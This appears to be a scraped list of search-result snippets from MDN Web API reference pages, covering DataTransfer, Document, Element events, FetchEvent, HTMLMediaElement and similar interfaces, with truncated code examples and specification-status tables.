this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'w' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.x - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.y - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.z - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DataTransfer.files - Web APIs
example there are two live examples of this interface: firefox only: http://jsfiddle.net/9c2ef/ all browsers: https://jsbin.com/hiqasek/ specifications specification status comment html living standardthe definition of 'files' in that specification.
... living standard html 5.1the definition of 'files' in that specification.
... recommendation initial definition ...
DataTransfer.getData() - Web APIs
id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } result specifications specification status comment html living standardthe definition of 'getdata()' in that specification.
... living standard html 5.1the definition of 'getdata()' in that specification.
... recommendation initial definition ...
DataTransfer.items - Web APIs
rt_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'items' in that specification.
... living standard html 5.1the definition of 'items' in that specification.
... recommendation initial definition ...
DataTransfer.setData() - Web APIs
d="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdata()' in that specification.
... living standard html 5.1the definition of 'setdata()' in that specification.
... recommendation initial definition ...
DataTransfer.types - Web APIs
rt_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'types' in that specification.
... living standard html 5.1the definition of 'types' in that specification.
... recommendation initial definition ...
DataTransferItem.getAsString() - Web APIs
drop: file "); } } } specifications specification status comment html living standardthe definition of 'getasstring()' in that specification.
... living standard initial definition.
... html 5.1the definition of 'getasstring()' in that specification.
DelayNode() - Web APIs
can contain the following members: delaytime: the initial delay time for the node, in seconds.
... example const audioctx = new audiocontext(); const delaynode = new delaynode(audioctx, { delaytime: 0.5, maxdelaytime: 2, }); specifications specification status comment web audio apithe definition of 'delaynode()' in that specification.
... working draft initial definition.
Document: DOMContentLoaded event - Web APIs
the domcontentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
...tent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'domcontentloaded' in that specification.
... living standard html5the definition of 'domcontentloaded' in that specification.
Document.applets - Web APIs
WebAPIDocumentapplets
example // when you know the second applet is the one you want my_java_app = document.applets[1]; specifications specification status comment html living standardthe definition of 'document.applets' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'document.applets' in that specification.
... obsolete initial definition.
Document.body - Web APIs
WebAPIDocumentbody
specification specification status comment html living standardthe definition of 'document.body' in that specification.
... living standard html 5.1the definition of 'document.body' in that specification.
... recommendation html5the definition of 'document.body' in that specification.
Document.createElement() - Web APIs
the nodename of the created element is initialized with the value of tagname.
... // create a class for the element class expandinglist extends htmlulistelement { constructor() { // always call super first in constructor super(); // constructor definition left out for brevity ...
... specifications specification status comment domthe definition of 'document.createelement' in that specification.
Document.createTreeWalker() - Web APIs
eewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var nodelist = []; var currentnode = treewalker.currentnode; while(currentnode) { nodelist.push(currentnode); currentnode = treewalker.nextnode(); } specifications specification status comment domthe definition of 'document.createtreewalker' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'document.createtreewalker' in that specification.
... obsolete initial definition ...
Document.currentScript - Web APIs
(for modules use import.meta instead.) it's important to note that this will not reference the <script> element if the code in the script is being called as a callback or event handler; it will only reference the element while it's initially being processed.
... syntax var curscriptelement = document.currentscript; example this example checks to see if the script is being executed asynchronously: if (document.currentscript.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); } view live examples specifications specification status comment html living standardthe definition of 'document.currentscript' in that specification.
... living standard initial definition ...
Document.defaultView - Web APIs
specifications specification status comment html living standardthe definition of 'document.defaultview' in that specification.
... living standard no change html5the definition of 'document.defaultview' in that specification.
... recommendation initial definition ...
Document.forms - Web APIs
WebAPIDocumentforms
password" type="password"> <button type="submit">log in</button> </form> <script> var loginform = document.forms.login; // or document.forms['login'] loginform.elements.email.placeholder = 'test@example.com'; loginform.elements.password.placeholder = 'password'; </script> </body> </html> specifications specification status comment html living standardthe definition of 'document.forms' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.forms' in that specification.
... obsolete initial definition.
Document.getElementsByName() - Web APIs
both ie and edge return an htmlcollection, not a nodelist specifications specification status comment html living standardthe definition of 'document.getelementsbyname()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.getelementsbyname()' in that specification.
... obsolete initial definition ...
Document.images - Web APIs
WebAPIDocumentimages
var ilist = document.images; for(var i = 0; i < ilist.length; i++) { if(ilist[i].src == 'banner.gif') { // found the banner } } specifications specification status comment html living standardthe definition of 'document.images' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.images' in that specification.
... obsolete initial definition.
Document.importNode() - Web APIs
specifications specification status comment domthe definition of 'document.importnode()' in that specification.
... living standard document object model (dom) level 2 core specificationthe definition of 'document.importnode()' in that specification.
... obsolete initial definition ...
Document.links - Web APIs
WebAPIDocumentlinks
example var links = document.links; for(var i = 0; i < links.length; i++) { var linkhref = document.createtextnode(links[i].href); var linebreak = document.createelement("br"); document.body.appendchild(linkhref); document.body.appendchild(linebreak); } specifications specification status comment html living standardthe definition of 'document.links' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'document.links' in that specification.
... obsolete initial definition ...
Document.location - Web APIs
WebAPIDocumentlocation
syntax locationobj = document.location document.location = 'http://www.mozilla.org' // equivalent to document.location.href = 'http://www.mozilla.org' examples console.log(document.location); // prints a location object to the console specifications specification status comment html living standardthe definition of 'document.location' in that specification.
... html5the definition of 'document.location' in that specification.
... recommendation initial definition.
Document.rootElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdocument.rootelement' in that specification.
... candidate recommendation deprecated scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdocument.rootelement' in that specification.
... recommendation initial definition ...
DocumentFragment.querySelector() - Web APIs
<div id="foo:bar"></div> <script> document.queryselector('#foo\bar') // does not match anything document.queryselector('#foo\\\\bar') // match the first div document.queryselector('#foo:bar') // does not match anything document.queryselector('#foo\\:bar') // match the second div </script> specifications specification status comment selectors api level 2the definition of 'documentfragment.queryselector' in that specification.
... obsolete no change from selectors api level 1 selectors api level 1the definition of 'documentfragment.queryselector' in that specification.
... obsolete initial definition.
DocumentFragment.querySelectorAll() - Web APIs
note: the definition of this api was moved to the parentnode interface.
... examples this example returns a list of all div elements within the documentfragment with a class of either "note" or "alert": var matches = documentfrag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'documentfragment.queryselectorall' in that specification.
... obsolete initial definition.
DocumentOrShadowRoot - Web APIs
specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
... domthe definition of 'documentorshadowroot' in that specification.
... living standard initial definition.
How to create a DOM tree - Web APIs
dynamically creating a dom tree consider the following xml document: <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="h" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" city...
..."co" country="usa"/> </person> </people> the w3c dom api, supported by mozilla, can be used to create an in-memory representation of this document like so: var doc = document.implementation.createdocument("", "", null); var peopleelem = doc.createelement("people"); var personelem1 = doc.createelement("person"); personelem1.setattribute("first-name", "eric"); personelem1.setattribute("middle-initial", "h"); personelem1.setattribute("last-name", "jung"); var addresselem1 = doc.createelement("address"); addresselem1.setattribute("street", "321 south st"); addresselem1.setattribute("city", "denver"); addresselem1.setattribute("state", "co"); addresselem1.setattribute("country", "usa"); personelem1.appendchild(addresselem1); var addresselem2 = doc.createelement("address"); addresselem2.seta...
...in association with the following json representation: { "people": { "person": [{ "address": [{ "@street": "321 south st", "@city": "denver", "@state": "co", "@country": "usa" }, { "@street": "123 main st", "@city": "arlington", "@state": "ma", "@country": "usa" }], "@first-name": "eric", "@middle-initial": "h", "@last-name": "jung" }, { "address": [{ "@street": "321 north st", "@city": "atlanta", "@state": "ga", "@country": "usa" }, { "@street": "123 west st", "@city": "seattle", "@state": "wa", "@country": "usa" }, { "@street": "321 south avenue", "@city": "denver", "@state": "c...
DragEvent.dataTransfer - Web APIs
} dragtarget.addeventlistener("dragend", function(ev) { // call the drag and drop data processor if (ev.datatransfer !== null) processdata(ev.datatransfer); }, false); specifications specification status comment html living standardthe definition of 'dragevent.datatransfer' in that specification.
... living standard html 5.1the definition of 'dragevent.datatransfer' in that specification.
... recommendation initial definition ...
EXT_disjoint_timer_query.createQueryEXT() - Web APIs
the ext_disjoint_timer_query.createqueryext() method of the webgl api creates and initializes webglquery objects, which track the time needed to fully complete a set of gl commands.
... examples var ext = gl.getextension('ext_disjoint_timer_query'); var query = ext.createqueryext(); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
... working draft initial definition.
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
note that authors are discouraged from using fill modes to persist the effect of an animation indefinitely.
...when used to persist the effect of an animation indefinitely, however, they have a number of drawbacks: the forwards fill of an animation (or backwards fill if the animation is playing in reverse) will continue to override any changes to specified style indefinitely which can lead to confusing behavior.
... animation.commitstyles(); animation.cancel(); }); specifications specification status comment web animationsthe definition of 'fill' in that specification.
EffectTiming.iterationStart - Web APIs
syntax var timingproperties = { iterationstart = iterationnumber }; timingproperties.iterationstart = iterationnumber; value a floating-point value whose value is at least 0 and is not +infinity, indicating the offset into the number of iterations the animation sequence is to run at which to start animating.
... usually you'll use a value between 0.0 and 1.0 to indicate an offset into the first run of the animation at which to begin the animation performance, but any positive, non-infinite value is allowed.
... specifications specification status comment web animationsthe definition of 'iterationstart' in that specification.
EffectTiming.iterations - Web APIs
the default value is 1, indicating that it should only play once, but you can set it to any floating-point value (including positive infinity defaults to 1, and can also take a value of infinity to make it loop infinitely.
...any value from 0 (don't play the animation at all) to positive infinity (run the animation indefinitely) is supported.
... examples in the forgotten key example, alice waves her arm up and down the entire time the page is open by passing infinity as the value for her iterations property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)' }, { transform: 'rotate(-40deg)' } ], { easing: 'steps(2, end)', iterations: infinity, direction: 'alternate', duration: 600 }); specifications specification status comment web animationsthe definition of 'iterations' in that specific...
EffectTiming - Web APIs
defaults to 1, and can also take a value of infinity to make it repeat for as long as the element exists.
... specifications specification status comment web animationsthe definition of 'effecttiming' in that specification.
... working draft initial definition ...
Element.classList - Web APIs
WebAPIElementclassList
; skippropchange = 1, target.classlist = restokenlist, target.classname = strval; skippropchange = 0, restokenlist.length = tokens.length - sub; } } function polyfillclasslist(ele){ if (!ele || !("innerhtml" in ele)) throw typeerror("illegal invocation"); ele.detachevent( "onpropertychange", whenpropchanges ); // prevent duplicate handler infinite loop allowtokenlistconstruction = 1; try{ function protoobj(){} protoobj.prototype = new domtokenlist(); } finally { allowtokenlistconstruction = 0 } var protoobjproto = protoobj.prototype, restokenlist = new protoobj(); a: for(var toks=ele.classname.trim().split(wsre), ci=0, clen=toks.length, sub=0; ci !== clen; ++ci){ for (var inneri=0; inner...
... specifications specification status comment domthe definition of 'element.classlist' in that specification.
... living standard initial definition dom4the definition of 'element.classlist' in that specification.
Element: click event - Web APIs
see also safari's docs on making elements clickable and the definition of "clickable element".
... specifications specification status ui events working draft document object model (dom) level 3 events specificationthe definition of 'click' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'click' in that specification.
Element.getClientRects() - Web APIs
for an inline element, the two definitions are the same.
... /* call function addclientrectsoverlay(elt) for all elements with assigned class "withclientrectsoverlay" */ var elt = document.getelementsbyclassname('withclientrectsoverlay'); for (var i = 0; i < elt.length; i++) { addclientrectsoverlay(elt[i]); } })(); result specifications specification status comment css object model (cssom) view modulethe definition of 'element.getclientrects()' in that specification.
... working draft initial definition notes getclientrects() was first introduced in the ms ie dhtml object model.
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
usage notes the innerhtml property can be used to examine the current html source of the page, including any changes that have been made since the page was initially loaded.
... specification specification status comment dom parsing and serializationthe definition of 'element.innerhtml' in that specification.
... working draft initial definition ...
Element: mousedown event - Web APIs
mousedown is fired the moment the button is initially pressed.
...ext, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(context, x1, y1, x2, y2) { context.beginpath(); context.strokestyle = 'black'; context.linewidth = 1; context.moveto(x1, y1); context.lineto(x2, y2); context.stroke(); context.closepath(); } result specifications specification status ui eventsthe definition of 'mousedown' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mousedown' in that specification.
Element: mouseenter event - Web APIs
the mouseenter event is fired at an element when a pointing device (usually a mouse) is initially moved so that its hotspot is within the element at which the event was fired.
...ed text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ui eventsthe definition of 'mouseenter' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseenter' in that specification.
Element.onfullscreenerror - Web APIs
example this example attempts to switch into full-screen mode from outside a handler for a user-initiated event (such as a click or keypress event).
... elem.requestfullscreen(); specifications specification status comment fullscreen apithe definition of 'onfullscreenerror' in that specification.
... living standard initial definition.
Element.releasePointerCapture() - Web APIs
slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup = stopsliding; result specifications specification status comment pointer events – level 2the definition of 'releasepointercapture' in that specification.
... pointer eventsthe definition of 'releasepointercapture' in that specification.
... obsolete initial definition.
Element.setPointerCapture() - Web APIs
lider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup = stopsliding; result specifications specification status comment pointer events – level 2the definition of 'setpointercapture' in that specification.
... pointer eventsthe definition of 'setpointercapture' in that specification.
... obsolete initial definition.
ElementTraversal - Web APIs
specifications specification status comment domthe definition of 'childnode' in that specification.
... living standard splitted the elementtraversal interface in parentnode and childnode element traversal specificationthe definition of 'elementtraversal' in that specification.
... obsolete initial definition ...
ErrorEvent - Web APIs
specifications specification status comment html living standardthe definition of 'errorevent' in that specification.
... html5the definition of 'errorevent' in that specification.
... recommendation initial definition.
Event.bubbles - Web APIs
WebAPIEventbubbles
specifications specification status comment domthe definition of 'event.bubbles' in that specification.
... living standard document object model (dom) level 2 events specificationthe definition of 'event.bubbles' in that specification.
... obsolete initial definition.
Event.preventDefault() - Web APIs
specifications specification status comment domthe definition of 'event.preventdefault()' in that specification.
... living standard document object model (dom) level 2 events specificationthe definition of 'event.preventdefault()' in that specification.
... obsolete initial definition.
Event.type - Web APIs
WebAPIEventtype
/ second document.addeventlistener('keyup', geteventtype, false); // third // mouse events document.addeventlistener('mousedown', geteventtype, false); // first document.addeventlistener('mouseup', geteventtype, false); // second document.addeventlistener('click', geteventtype, false); // third result specifications specification status comment domthe definition of 'event.type' in that specification.
... living standard document object model (dom) level 2 events specificationthe definition of 'event.type' in that specification.
... obsolete initial definition.
EventListener.handleEvent() - Web APIs
specifications specification status comment domthe definition of 'eventlistener.handleevent()' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'eventlistener.handleevent()' in that specification.
... obsolete initial definition.
EventListener - Web APIs
buttonelement.addeventlistener('click', { handleevent: function (event) { alert('element clicked through handleevent property!'); } }); result see also: addeventlistener specifications specification status comment domthe definition of 'eventlistener' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'eventlistener' in that specification.
... obsolete initial definition.
ExtendableEvent.waitUntil() - Web APIs
the waituntil() method must be initially called within the event callback, but after that it can be called multiple times, until all the promises passed to it settle.
...ng waituntil() within a service worker's install event: addeventlistener('install', event => { const precache = async () => { const cache = await caches.open('static-v1'); return cache.addall([ '/', '/about/', '/static/styles.css' ]); }; event.waituntil(precache()); }); specifications specification status comment service workersthe definition of 'waituntil()' in that specification.
... working draft initial definition ...
FederatedCredential - Web APIs
in supporting browsers, an instance of this class may be passed the credential received from the init object for global fetch.
... syntax var mycredential = new federatedcredential(init) parameters init options are: provider: a usvstring; identifying the credential provider.
... specifications specification status comment credential management level 1 working draft initial definition.
FetchEvent.request - Web APIs
this property is non-nullable (since version 46, in the case of firefox.) if a request is not provided by some other means, the constructor init object must contain a request (see fetchevent.fetchevent().) syntax var recentrequest = fetchevent.request; value a request object.
...t to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'request' in that specification.
... working draft initial definition.
FetchEvent.respondWith() - Web APIs
for example, if an <img> initiates the request, the response body needs to be image data.
... specifications specification status comment service workersthe definition of 'respondwith()' in that specification.
... working draft initial definition.
FetchEvent - Web APIs
fetchevent.clientid read only the id of the same-origin client that initiated the fetch.
... return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'fetchevent()' in that specification.
... working draft initial definition.
Using files from web applications - Web APIs
} }; fd.append('myfile', file); // initiate a multipart/form-data upload xhr.send(fd); } window.onload = function() { const dropzone = document.getelementbyid("dropzone"); dropzone.ondragover = dropzone.ondragenter = function(event) { event.stoppropagation(); event.preventdefault(); } dropzone.ondrop = function(event) { ...
...here is how to preview uploaded video: const video = document.getelementbyid('video'); const obj_url = url.createobjecturl(blob); video.src = obj_url; video.play(); url.revokeobjecturl(obj_url); specifications specification status comment html living standardthe definition of 'file upload state' in that specification.
... living standard file api working draft initial definition ...
FileReader - Web APIs
this property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
... specifications specification status comment file apithe definition of 'filereader' in that specification.
... working draft initial definition ...
FocusEvent.relatedTarget - Web APIs
syntax secondtarget = focusevent.relatedtarget specifications specification status comment ui eventsthe definition of 'focusevent.relatedtarget' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'focusevent.relatedtarget' in that specification.
... obsolete initial definition.
FocusEvent - Web APIs
specifications specification status comment ui eventsthe definition of 'focusevent' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'focusevent' in that specification.
... obsolete initial definition.
FontFaceSet - Web APIs
fontfaceset.check() a boolean that indicates whether a font is loaded, but doesn't initiate a load when it isn't.
... specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification.
... editor's draft initial definition ...
FontFaceSetLoadEvent.fontfaces - Web APIs
the fontfaces read-only property of the fontfaceloadeventinit interface returns an array of fontface instances, each of which represents a single usable font.
... specifications specification status comment css font loading module level 3the definition of 'fontfaces' in that specification.
... working draft initial definition.
GlobalEventHandlers.onanimationcancel - Web APIs
#box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; animation: 5s ease-in-out 0s infinite alternate both slidebox; } the animation's keyframes are described next, plotting a course from the top-left corner of the content box to the bottom-right corner.
... @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the animation is described as taking place an infinite number of times, alternating direction each time, the box will glide back and forth between the two corners until stopped or the page is closed.
... specification specification status comment css animationsthe definition of 'onanimationcancel' in that specification.
GlobalEventHandlers.onanimationiteration - Web APIs
#box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; animation: 2s ease-in-out 0s infinite alternate both paused slidebox; } the animation's keyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner.
... var box = document.getelementbyid("box"); var iterationcounter = 0; box.onanimationiteration = function(event) { box.style.animationplaystate = "paused"; document.getelementbyid("play").innerhtml = "start iteration #" + (iterationcounter+1); }; this sets up two global variables: box, which references the "box" element that we're animating, and iterationcounter, which is initially zero, which indicates how many iterations of the animation have occurred.
... specification specification status comment css animationsthe definition of 'onanimationiteration' in that specification.
GlobalEventHandlers.ondrag - Web APIs
r(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrag' in that specification.
... living standard html 5.1the definition of 'ondrag' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragover - Web APIs
r(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragover' in that specification.
... living standard html 5.1the definition of 'ondragover' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragstart - Web APIs
r(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragstart' in that specification.
... living standard html 5.1the definition of 'ondragstart' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondrop - Web APIs
r(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrop' in that specification.
... living standard html 5.1the definition of 'ondrop' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.onload - Web APIs
examples window.onload = function() { init(); dosomethingelse(); }; <!doctype html> <html> <head> <title>onload test</title> // es5 <script> function load() { console.log("load event detected!"); } window.onload = load; </script> // es2015 <script> const load = () => { console.log("load event detected!"); } window.onload = load; </script> </head> <body> <p>the load...
... specifications specification status comment html living standardthe definition of 'onload' in that specification.
... living standard initial definition ...
GlobalEventHandlers.onscroll - Web APIs
rea { width: 4rem; height: 8rem; font-size: 3rem; } javascript const textarea = document.queryselector('textarea'); const log = document.getelementbyid('log'); textarea.onscroll = logscroll; function logscroll(e) { log.textcontent = `scroll position: ${e.target.scrolltop}`; } result specifications specification status comment html living standardthe definition of 'onscroll' in that specification.
... living standard document object model (dom) level 3 events specificationthe definition of 'onscroll' in that specification.
... obsolete initial definition ...
HTMLBaseFontElement - Web APIs
specifications specification status comment document object model (dom) level 2 html specificationthe definition of 'htmlbasefontelement' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'htmlbasefontelement' in that specification.
... obsolete initial definition ...
HTMLCanvasElement: webglcontextrestored event - Web APIs
you need to reinitialize the state of your webgl application and recreate resources.
... specifications specification status comment webgl 1.0the definition of 'webglcontextrestored' in that specification.
... recommendation initial definition.
HTMLDataListElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldatalistelement' in that specification.
... living standard html5the definition of 'htmldatalistelement' in that specification.
... recommendation initial definition ...
HTMLDialogElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldialogelement' in that specification.
... living standard html 5.2the definition of '<dialog>' in that specification.
... recommendation initial definition ...
HTMLElement.hidden - Web APIs
.panel { font: 16px "open sans", helvetica, arial, sans-serif; border: 1px solid #22d; padding: 12px; width: 500px; text-align: center; } .button { font: 22px "open sans", helvetica, arial, sans-serif; padding: 5px 36px; } h1 { margin-top: 0; font-size: 175%; } result specifications specification status comment html living standardthe definition of 'htmlelement.hidden' in that specification.
... living standard html 5.1the definition of 'htmlelement.hidden' in that specification.
... recommendation html5the definition of 'htmlelement.hidden' in that specification.
HTMLEmbedElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlembedelement' in that specification.
... html5the definition of 'htmlembedelement' in that specification.
... recommendation initial definition.
HTMLFormElement.elements - Web APIs
// update text input inputs[i].value.tolocaleuppercase(); } } disabling form controls var inputs = document.getelementbyid("my-form").elements; // iterate over the form controls for (i = 0; i < inputs.length; i++) { // disable all form controls inputs[i].setattribute("disabled", ""); } specifications specification status comment html living standardthe definition of 'htmlformelement.elements' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'htmlformelement.elements' in that specification.
... obsolete initial definition ...
HTMLFormElement.reportValidity() - Web APIs
syntax htmlformelement.reportvalidity() return value boolean example document.forms['myform'].addeventlistener('submit', function() { document.forms['myform'].reportvalidity(); }, false); specifications specification status comment html living standardthe definition of 'htmlformelement.reportvalidity()' in that specification.
... living standard html 5.1the definition of 'htmlformelement.reportvalidity()' in that specification.
... recommendation initial definition ...
HTMLFormElement - Web APIs
reset() resets the form to its initial state.
... specifications specification status comment html living standardthe definition of 'htmlformelement' in that specification.
... html5the definition of 'htmlformelement' in that specification.
HTMLHyperlinkElementUtils.pathname - Web APIs
the htmlhyperlinkelementutils.pathname property is a usvstring containing an initial '/' followed by the path of the url (or the empty string if there is no path).
...ct.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils - Web APIs
htmlhyperlinkelementutils.pathname this is a usvstring containing an initial '/' followed by the path of the url.
... specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils' in that specification.
... living standard initial definition ...
HTMLInputElement: invalid event - Web APIs
<li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.textcontent += e.target.value } result specifications specification status comment html living standardthe definition of 'invalid event' in that specification.
... living standard html 5.1the definition of 'invalid event' in that specification.
... recommendation html5the definition of 'invalid event' in that specification.
HTMLInputElement.labels - Web APIs
<label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLInputElement.setRangeText() - Web APIs
ype="text" id="text-box" size="30" value="this text has not been updated."> <button onclick="selecttext()">update text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
... living standard no change html5the definition of 'htmlinputelement.setselectionrange()' in that specification.
... recommendation initial definition ...
HTMLMediaElement.audioTracks - Web APIs
var video = document.getelementbyid("video"); for (var i = 0; i < video.audiotracks.length; i += 1) { video.audiotracks[i].enabled = false; } specifications specification status comment html living standardthe definition of 'htmlmediaelement.audiotracks' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.audiotracks' in that specification.
... recommendation initial definition.
HTMLMediaElement.autoplay - Web APIs
<video id="video" controls> <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </video> *** disable autoplay (recommended) *** false is the default value document.queryselector('#video').autoplay = false; specifications specification status comment html living standardthe definition of 'htmlmediaelement.autoplay' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.autoplay' in that specification.
... recommendation initial definition.
HTMLMediaElement.buffered - Web APIs
example var obj = document.createelement('video'); console.log(obj.buffered); // timeranges { length: 0 } specifications specification status comment html living standardthe definition of 'htmlmediaelement.buffered' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.buffered' in that specification.
... recommendation initial definition.
HTMLMediaElement.controls - Web APIs
example var obj = document.createelement('video'); obj.controls = true; specifications specification status comment html living standardthe definition of 'htmlmediaelement.controls' in that specification.
